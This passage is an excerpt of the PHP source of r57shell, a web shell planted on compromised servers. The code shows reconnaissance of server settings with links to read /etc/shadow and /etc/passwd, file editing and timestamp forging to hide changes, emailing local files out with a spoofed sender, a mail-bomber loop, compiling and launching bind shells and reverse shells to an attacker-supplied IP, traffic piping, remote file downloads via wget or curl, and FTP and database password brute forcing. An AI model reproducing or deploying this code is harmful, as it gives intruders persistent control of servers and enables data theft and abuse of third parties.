  2068. $select_downloaders .= '</select>';
  2069. if(substr($downloader,0,1)==",") {$downloader[0]="";}
  2070.  
  2071. $downloader=trim($downloader);
  2072. setcookie('select_downloaders',$select_downloaders);
  2073. setcookie('downloader',$downloader);
  2074. }else {
  2075. $select_downloaders = $_COOKIE['select_downloaders'];
  2076. $downloader = trim($_COOKIE['downloader']);
  2077. }
  2078.  
  2079.  
  2080. echo $head;
  2081. echo '</head>';
  2082.  
  2083. echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc width=100><font face=Verdana size=2>'.
  2084. ws(2).'<b>'.ws(2).'<center>r57shell<br>v.'.$version.'</b><br><br><br></center></font>'.
  2085. $fs.'<font face=Verdana size=-2><center>'.$lang[$language.'_text143']."<b>".$tempdir."</b><br>".$select_tempdir.'<br>'.in('submit','submit',0,$lang[$language.'_butt6']).
  2086. '</center></font>'.$fe.'</td>'.'<td bgcolor=#cccccc><font face=Verdana size=-2>';
  2087. echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b> Your IP: [<font color=blue>".gethostbyname($_SERVER["REMOTE_ADDR"])."</font>]";
  2088. echo " X_FORWARDED_FOR:"; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){echo "[<font color=red>".$_SERVER['HTTP_X_FORWARDED_FOR']."</font>]";}else{echo "[<font color=green><b>NONE</b></font>]";}
  2089. echo " CLIENT_IP: ";if(isset($_SERVER['HTTP_CLIENT_IP'])){echo "[<font color=red>".$_SERVER['HTTP_CLIENT_IP']."</font>]";}else{echo "[<font color=green><b>NONE</b></font>]";}
  2090. echo " Server IP: [<font color=blue>".gethostbyname($_SERVER["HTTP_HOST"])."</font>]";
  2091.  
  2092. echo "<br>";
  2093.  
  2094. echo ws(2)."PHP version: <b>".@phpversion()."</b>";
  2095. $curl_on = @function_exists('curl_version');
  2096. echo ws(2);
  2097. echo "cURL: <b>".(($curl_on)?("<font color=red>ON</font>"):("<font color=green>OFF</font>"));
  2098. echo "</b>".ws(2);
  2099. echo "MySQL: <b>";
  2100. $mysql_on = @function_exists('mysql_connect');
  2101. if($mysql_on){
  2102. echo "<font color=red>ON</font>"; } else { echo "<font color=green>OFF</font>"; }
  2103. echo "</b>".ws(2);
  2104. echo "MSSQL: <b>";
  2105. $mssql_on = @function_exists('mssql_connect');
  2106. if($mssql_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
  2107. echo "</b>".ws(2);
  2108. echo "PostgreSQL: <b>";
  2109. $pg_on = @function_exists('pg_connect');
  2110. if($pg_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
  2111. echo "</b>".ws(2);
  2112. echo "Oracle: <b>";
  2113. $ora_on = @function_exists('ocilogon');
  2114. if($ora_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
  2115. echo "</b>".ws(2);
  2116. echo "MySQLi: <b>";
  2117. $mysqli_on = @function_exists('mysqli_connect');
  2118. if($mysqli_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
  2119. echo "</b>".ws(2);
  2120. echo "mSQL: <b>";
  2121. $msql_on = @function_exists('msql_connect');
  2122. if($msql_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
  2123. echo "</b>".ws(2);
  2124. echo "SQLite: <b>";
  2125. $sqlite_on = @function_exists('sqlite_open');
  2126. if($sqlite_on){echo "<font color=red>ON</font>";}else{echo "<font color=green>OFF</font>";}
  2127. echo "</b><br>".ws(2);
  2128.  
  2129. echo "Safe_mode: <b>";
  2130. echo (($safe_mode)?("<font color=red>ON</font>"):("<font color=green>OFF</font>"));
  2131. echo "</b>".ws(2);
  2132. echo "Open_basedir: <b>";
  2133. if($open_basedir) { if (''==($df=@ini_get('open_basedir'))) {echo "<font color=red>ini_get disable!</font></b>";}else {echo "<font color=red>$df</font></b>";};}
  2134. else {echo "<font color=green>NONE</font></b>";}
  2135. echo ws(2)."Safe_exec_dir: <b>";
  2136. if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
  2137. else {echo "<font color=red>ini_get disable!</font></b>";}
  2138. echo ws(2)."Safe_gid: <b>";
  2139. if(@function_exists('ini_get')) { if (@ini_get('safe_mode_gid')) {echo "<font color=green>ON</font></b>";}else {echo "<font color=red>OFF</font></b>";};}
  2140. else {echo "<font color=red>ini_get disable!</font></b>";}
  2141. echo ws(2)."Safe_include_dir: <b>";
  2142. if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_include_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
  2143. else {echo "<font color=red>ini_get disable!</font></b>";}
  2144. echo ws(2)."Sql.safe_mode: <b>";
  2145. if(@function_exists('ini_get')) { if (@ini_get('sql.safe_mode')) {echo "<font color=red>ON</font></b>";}else {echo "<font color=green>OFF</font></b>";};}
  2146. else {echo "<font color=red>ini_get disable!</font></b>";}
  2147.  
  2148. echo "<br>".ws(2);
  2149. echo "Disable functions : <b>";$df='ini_get disable!';
  2150. if((@function_exists('ini_get')) && (''==($df=@ini_get('disable_functions')))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";}
  2151.  
  2152. if(@function_exists('diskfreespace')){$free = @diskfreespace($dir);}
  2153. elseif(@function_exists('disk_free_space')){$free = @disk_free_space($dir);}else{$free = 'Unknown';}
  2154. if (!$free) {$free = 0;}
  2155. $all = @disk_total_space($dir);
  2156. if (!$all) {$all = 0;}
  2157. echo "<br>".ws(2)."Free space : <b>".view_size($free)."</b> Total space: <b>".view_size($all)."</b>";
  2158.  
  2159.  
  2160. if($ust_u){echo "<br>".ws(2).$lang[$language.'_text137'].": <font color=blue>".$ust_u."</font>";};
  2161.  
  2162. if($ust_d){echo "<br>".ws(2).$lang[$language.'_text138'].": <font color=red>".$ust_d."</font>";};
  2163.  
  2164. if($downloader){echo "<br>".ws(2).$lang[$language.'_text142'].": <font color=blue>".$downloader."</font>";};
  2165.  
  2166.  
  2167. echo "<br>".ws(2)."</b>";
  2168. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?1' title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;
  2169. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?2' title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb;
  2170. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?3' title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb;
  2171. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?4' title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;
  2172. if(!$unix) {
  2173. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?5' title=\"".$lang[$language.'_text50']."\"><b>systeminfo</b></a> ".$rb;
  2174. }else{
  2175. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?6' title=\"View syslog.conf\"><b>syslog</b></a> ".$rb;
  2176. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?7' title=\"View resolv\"><b>resolv</b></a> ".$rb;
  2177. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?8' title=\"View hosts\"><b>hosts</b></a> ".$rb;
  2178. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?9' title=\"View shadow\"><b>shadow</b></a> ".$rb;
  2179. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?10' title=\"".$lang[$language.'_text95']."\"><b>passwd</b></a> ".$rb;
  2180. }
  2181. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?11' title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;
  2182. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?12' title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb;
  2183.  
  2184. if($unix && !$safe_mode)
  2185. {
  2186. echo "<br>".ws(2)."</b>";
  2187. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?13' title=\"View procinfo\"><b>procinfo</b></a> ".$rb;
  2188. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?14' title=\"View proc version\"><b>version</b></a> ".$rb;
  2189. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?15' title=\"View mem free\"><b>free</b></a> ".$rb;
  2190. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?16' title=\"View dmesg\"><b>dmesg</b></a> ".$rb;
  2191. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?17' title=\"View vmstat\"><b>vmstat</b></a> ".$rb;
  2192. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?18' title=\"View lspci\"><b>lspci</b></a> ".$rb;
  2193. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?19' title=\"View lsdev\"><b>lsdev</b></a> ".$rb;
  2194. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?20' title=\"View interrupts\"><b>interrupts</b></a> ".$rb;
  2195. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?21' title=\"View realise1\"><b>realise1</b></a> ".$rb;
  2196. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?22' title=\"View realise2\"><b>realise2</b></a> ".$rb;
  2197. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?23' title=\"View lsattr -va\"><b>lsattr</b></a> ".$rb;
  2198.  
  2199. echo "<br>".ws(2)."</b>";
  2200. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?24' title=\"View w\"><b>w</b></a> ".$rb;
  2201. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?25' title=\"View who\"><b>who</b></a> ".$rb;
  2202. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?26' title=\"View uptime\"><b>uptime</b></a> ".$rb;
  2203. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?27' title=\"View last -n 10\"><b>last</b></a> ".$rb;
  2204. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?28' title=\"View ps -aux\"><b>ps aux</b></a> ".$rb;
  2205. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?29' title=\"View service\"><b>service</b></a> ".$rb;
  2206. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?30' title=\"View ifconfig\"><b>ifconfig</b></a> ".$rb;
  2207. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?31' title=\"View netstat -a\"><b>netstat</b></a> ".$rb;
  2208. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?32' title=\"View fstab\"><b>fstab</b></a> ".$rb;
  2209. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?33' title=\"View fdisk -l\"><b>fdisk</b></a> ".$rb;
  2210. echo ws(2).$lb." <a href='".$_SERVER['PHP_SELF']."?34' title=\"View df -h\"><b>df -h</b></a> ".$rb;
  2211. }
  2212.  
  2213. echo '</font></td></tr><table>
  2214. <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
  2215. <tr><td align=right width=100>';
  2216. echo $font;
  2217.  
  2218. if($unix){
  2219. echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
  2220. echo "</td><td>";
  2221. echo "<font face=Verdana size=-2 color=red><b>";
  2222. echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
  2223. echo ws(3).$sysctl."<br>";
  2224. echo ws(3).ex('echo $OSTYPE')."<br>";
  2225. echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
  2226. if(!empty($id)) { echo ws(3).$id."<br>"; }
  2227. else if(@function_exists('posix_geteuid') && @function_exists('posix_getegid') && @function_exists('posix_getgrgid') && @function_exists('posix_getpwuid'))
  2228. {
  2229. $euserinfo = @posix_getpwuid(@posix_geteuid());
  2230. $egroupinfo = @posix_getgrgid(@posix_getegid());
  2231. echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';
  2232. }
  2233. else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
  2234. echo ws(3).$dir;
  2235. echo ws(3).'( '.perms(@fileperms($dir)).' )';
  2236. echo "</b></font>";
  2237. }
  2238. else
  2239. {
  2240. echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
  2241. echo "</td><td>";
  2242. echo "<font face=Verdana size=-2 color=red><b>";
  2243. echo ws(3).@substr(@php_uname(),0,120)."<br>";
  2244. echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
  2245. echo ws(3).@getenv("USERNAME")."<br>";
  2246. echo ws(3).$dir;
  2247. echo "<br></font>";
  2248. }
  2249. echo "</font>";
  2250. echo "</td></tr></table>";
  2251.  
  2252. if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")
  2253. {
  2254. $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
  2255. err(6+$res);
  2256. $_POST['cmd']="";
  2257. }
  2258. if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
  2259. {
  2260. if($file=moreread($_POST['loc_file'])){ $filedump = $file; }
  2261. else if ($file=readzlib($_POST['loc_file'])) { $filedump = $file; } else { err(1,$_POST['loc_file']); $_POST['cmd']=""; }
  2262. if(!empty($_POST['cmd']))
  2263. {
  2264. $filename = @basename($_POST['loc_file']);
  2265. $content_encoding=$mime_type='';
  2266. compress($filename,$filedump,$_POST['compress']);
  2267. $attach = array(
  2268. "name"=>$filename,
  2269. "type"=>$mime_type,
  2270. "content"=>$filedump
  2271. );
  2272. if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; }
  2273. if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; }
  2274. $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
  2275. err(6+$res);
  2276. $_POST['cmd']="";
  2277. }
  2278. }
  2279. if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_bomber" && !empty($_POST['mail_flood']) && !empty($_POST['mail_size']))
  2280. {
  2281. for($h=1;$h<=$_POST['mail_flood'];$h++){
  2282. $res = mail($_POST['to'],$_POST['subj'],$_POST['text'].str_repeat(" ", 1024*$_POST['mail_size']),"From: ".$_POST['from']."\r\n");
  2283. }
  2284. err(6+$res);
  2285. $_POST['cmd']="";
  2286. }
  2287. if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
  2288. {
  2289. $_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
  2290. }
  2291. if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
  2292. {
  2293. switch($_POST['what'])
  2294. {
  2295. case 'own':
  2296. @chown($_POST['param1'],$_POST['param2']);
  2297. break;
  2298. case 'grp':
  2299. @chgrp($_POST['param1'],$_POST['param2']);
  2300. break;
  2301. case 'mod':
  2302. @chmod($_POST['param1'],intval($_POST['param2'], 8));
  2303. break;
  2304. }
  2305. $_POST['cmd']="";
  2306. }
  2307. if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
  2308. {
  2309. switch($_POST['what'])
  2310. {
  2311. case 'file':
  2312. if($_POST['action'] == "create")
  2313. {
  2314. if(@file_exists($_POST['mk_name']) || !morewrite($_POST['mk_name'],'your text here')) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
  2315. else {
  2316. $_POST['e_name'] = $_POST['mk_name'];
  2317. $_POST['cmd']="edit_file";
  2318. echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
  2319. }
  2320. }
  2321. else if($_POST['action'] == "delete")
  2322. {
  2323. if(@unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
  2324. $_POST['cmd']="";
  2325. }
  2326. break;
  2327. case 'dir':
  2328. if($_POST['action'] == "create"){
  2329. if(@mkdir($_POST['mk_name']))
  2330. {
  2331. $_POST['cmd']="";
  2332. echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
  2333. }
  2334. else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
  2335. }
  2336. else if($_POST['action'] == "delete"){
  2337. if(@rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
  2338. $_POST['cmd']="";
  2339. }
  2340. break;
  2341. }
  2342. }
  2343.  
  2344.  
  2345. if(!empty($_POST['cmd']) && $_POST['cmd']=="touch")
  2346. {
  2347. if(!$_POST['file_name_r'])
  2348. {
  2349. $datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']." seconds";
  2350. $datar = @strtotime($datar);
  2351. @touch($_POST['file_name'],$datar,$datar);}
  2352. else{
  2353. @touch($_POST['file_name'],@filemtime($_POST['file_name_r']),@filemtime($_POST['file_name_r']));
  2354. }
  2355. $_POST['cmd']="";
  2356. }
  2357.  
  2358.  
  2359. if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
  2360. {
  2361. if(@is_dir($_POST['e_name'])){ err(1,$_POST['e_name']); $_POST['cmd']=""; }
  2362. elseif($file=moreread($_POST['e_name'])) { $filedump = $file; if(!@is_writable($_POST['e_name'])) { $only_read = 1; }; }
  2363. elseif($file=readzlib($_POST['e_name'])) { $filedump = $file; $only_read = 1; }
  2364. elseif(@file_exists($_POST['e_name'])) {$filedump = 'NONE'; if(!@is_writable($_POST['e_name'])) { $only_read = 1; };}
  2365. else { err(1,$_POST['e_name']); $_POST['cmd']=""; }
  2366. if(!empty($_POST['cmd']))
  2367. {
  2368. echo $table_up3;
  2369. echo $font;
  2370. echo "<form name=save_file method=post>";
  2371. echo ws(3)."<b>".$_POST['e_name']."</b>";
  2372. echo "<div align=center><textarea name=e_text cols=121 rows=24>";
  2373. echo @htmlspecialchars($filedump);
  2374. echo "</textarea>";
  2375. echo "<input type=hidden name=e_name value='".$_POST['e_name']."'>";
  2376. echo "<input type=hidden name=dir value='".$dir."'>";
  2377. echo "<input type=hidden name=cmd value=save_file>";
  2378. echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
  2379. echo "</div>";
  2380. echo "</font>";
  2381. echo "</form>";
  2382. echo "</td></tr></table>";
  2383. exit();
  2384. }
  2385. }
  2386. if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
  2387. {
  2388. $mtime = @filemtime($_POST['e_name']);
  2389. if(!@is_writable($_POST['e_name'])) { err(0,$_POST['e_name']); }
  2390. else {
  2391. if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
  2392. morewrite($_POST['e_name'],$_POST['e_text']);
  2393. $_POST['cmd']="";
  2394. echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
  2395. }
  2396. @touch($_POST['e_name'],$mtime,$mtime);
  2397. }
  2398.  
  2399.  
  2400. if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl"))
  2401. {
  2402. cf($tempdir.'prxpl',$prx_pl);
  2403. $p2=which("perl");
  2404. $blah = ex($p2.' '.$tempdir.'prxpl '.$_POST['proxy_port'].' &');
  2405. @unlink($tempdir.'prxpl');
  2406. $_POST['cmd']="ps -aux | grep prxpl";
  2407. }
  2408. if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
  2409. {
  2410. cf($tempdir.'bd.c',$port_bind_bd_c);
  2411. $blah = ex('gcc -o '.$tempdir.'bd '.$tempdir.'bd.c');
  2412. @unlink($tempdir.'bd.c');
  2413. $blah = ex($tempdir.'bd '.$_POST['port'].' '.$_POST['bind_pass'].' &');
  2414. @unlink($tempdir.'bd');
  2415. $_POST['cmd']="ps -aux | grep bd";
  2416. }
  2417. if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
  2418. {
  2419. cf($tempdir.'bdpl',$port_bind_bd_pl);
  2420. $p2=which("perl");
  2421. $blah = ex($p2.' '.$tempdir.'bdpl '.$_POST['port'].' &');
  2422. @unlink($tempdir.'bdpl');
  2423. $_POST['cmd']="ps -aux | grep bdpl";
  2424. }
  2425. if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
  2426. {
  2427. cf($tempdir.'back',$back_connect);
  2428. $p2=which("perl");
  2429. $blah = ex($p2.' '.$tempdir.'back '.$_POST['ip'].' '.$_POST['port'].' &');
  2430. @unlink($tempdir.'back');
  2431. $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
  2432. }
  2433. if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
  2434. {
  2435. cf($tempdir.'back.c',$back_connect_c);
  2436. $blah = ex('gcc -o '.$tempdir.'backc '.$tempdir.'back.c');
  2437. @unlink($tempdir.'back.c');
  2438. $blah = ex($tempdir.'backc '.$_POST['ip'].' '.$_POST['port'].' &');
  2439. @unlink($tempdir.'back');
  2440. $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
  2441. }
  2442. if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
  2443. {
  2444. cf($tempdir.'dp',$datapipe_pl);
  2445. $p2=which("perl");
  2446. $blah = ex($p2.' '.$tempdir.'dp '.$_POST['local_port'].' '.$_POST['remote_host'].' '.$_POST['remote_port'].' &');
  2447. @unlink($tempdir.'dp');
  2448. $_POST['cmd']="ps -aux | grep dp";
  2449. }
  2450. if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
  2451. {
  2452. cf($tempdir.'dpc.c',$datapipe_c);
  2453. $blah = ex('gcc -o '.$tempdir.'dpc '.$tempdir.'dpc.c');
  2454. @unlink($tempdir.'dpc.c');
  2455. $blah = ex($tempdir.'dpc '.$_POST['local_port'].' '.$_POST['remote_port'].' '.$_POST['remote_host'].' &');
  2456. @unlink($tempdir.'dpc');
  2457. $_POST['cmd']="ps -aux | grep dpc";
  2458. }
  2459.  
  2460. if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
  2461.  
  2462. for($upl=0;$upl<=16;$upl++)
  2463. {
  2464. if(!empty($HTTP_POST_FILES['userfile'.$upl]['name'])){
  2465. if(!empty($_POST['new_name']) && ($upl==0)) { $nfn = $_POST['new_name']; }
  2466. else { $nfn = $HTTP_POST_FILES['userfile'.$upl]['name']; }
  2467. @move_uploaded_file($HTTP_POST_FILES['userfile'.$upl]['tmp_name'],$_POST['dir']."/".$nfn)
  2468. or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile'.$upl]['name']."</div></font>");
  2469. }
  2470. }
  2471.  
  2472. if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
  2473. {
  2474. switch($_POST['with'])
  2475. {
  2476. case 'fopen':
  2477. $datafile = @implode("", @file($_POST['rem_file']));
  2478. if($datafile)
  2479. {
  2480. if(!morewrite($_POST['loc_file'],$datafile)){ err(0);};
  2481. }
  2482.  
  2483. $_POST['cmd'] = '';
  2484. break;
  2485. case 'wget':
  2486. $_POST['cmd'] = which('wget')." \"".$_POST['rem_file']."\" -O \"".$_POST['loc_file']."\"";
  2487. break;
  2488. case 'fetch':
  2489. $_POST['cmd'] = which('fetch')." -p \"".$_POST['rem_file']."\" -o \"".$_POST['loc_file']."\"";
  2490. break;
  2491. case 'lynx':
  2492. $_POST['cmd'] = which('lynx')." -source \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\"";
  2493. break;
  2494. case 'links':
  2495. $_POST['cmd'] = which('links')." -source \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\"";
  2496. break;
  2497. case 'GET':
  2498. $_POST['cmd'] = which('GET')." \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\"";
  2499. break;
  2500. case 'curl':
  2501. $_POST['cmd'] = which('curl')." \"".$_POST['rem_file']."\" -o \"".$_POST['loc_file']."\"";
  2502. break;
  2503. }
  2504. }
  2505. if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_file_up") || ($_POST['cmd']=="ftp_file_down")))
  2506. {
  2507. list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
  2508. if(empty($ftp_port)) { $ftp_port = 21; }
  2509. $connection = @ftp_connect ($ftp_server,$ftp_port,10);
  2510. if(!$connection) { err(3); }
  2511. else
  2512. {
  2513. if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }
  2514. else
  2515. {
  2516. if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);}
  2517. if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);}
  2518. }
  2519. }
  2520. @ftp_close($connection);
  2521. $_POST['cmd'] = "";
  2522. }
  2523.  
  2524. if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_brute") || ($_POST['cmd']=="db_brute")))
  2525. {
  2526. if($_POST['cmd']=="ftp_brute"){
  2527. list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
  2528. if(empty($ftp_port)) { $ftp_port = 21; }
  2529. $connection = @ftp_connect ($ftp_server,$ftp_port,10);
  2530. }else if($_POST['cmd']=="db_brute"){
  2531. $connection = 1;
  2532. }
  2533. if(!$connection) { err(3); $_POST['cmd'] = ""; }
  2534. else if(($_POST['brute_method']=='passwd') && (!$users=get_users('/etc/passwd'))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
  2535. else if(($_POST['brute_method']=='dic') && (!$users=get_users($_POST['dictionary']))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>Can\'t get password list</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
  2536. if($_POST['cmd']=="ftp_brute"){@ftp_close($connection);}
  2537. }
  2538.  
  2539. echo $table_up3;
  2540. if (empty($_POST['cmd']) && !$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }
  2541. else if(empty($_POST['cmd']) && $safe_mode){ $_POST['cmd']="safe_dir"; }
  2542. echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";
  2543. if($safe_mode || $open_basedir)
  2544. {
  2545. switch($_POST['cmd'])
  2546. {
  2547. case 'safe_dir':
  2548.  
  2549. if (@function_exists('scandir') && ($d=@scandir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
  2550. {
  2551. foreach ($d as $file)
  2552. {
  2553. if ($file=="." || $file=="..") continue;
  2554. @clearstatcache();
  2555. @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
  2556. if(!$unix){
  2557. echo date("d.m.Y H:i",$mtime);
  2558. if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
  2559. }
  2560. else{
  2561. if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
  2562. $owner = @posix_getpwuid($uid);
  2563. $grgid = @posix_getgrgid($gid);
  2564. }else{$owner['name']=$grgid['name']='';}
  2565. echo $inode." ";
  2566. echo perms(@fileperms($file));
  2567. @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
  2568. echo @date("d.m.Y H:i ",$mtime);
  2569. }
  2570. echo "$file\n";
  2571. }
  2572. }
  2573.  
  2574. elseif (@function_exists('dir') && ($d=@dir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
  2575. {
  2576. while (false!==($file=$d->read()))
  2577. {
  2578. if ($file=="." || $file=="..") continue;
  2579. @clearstatcache();
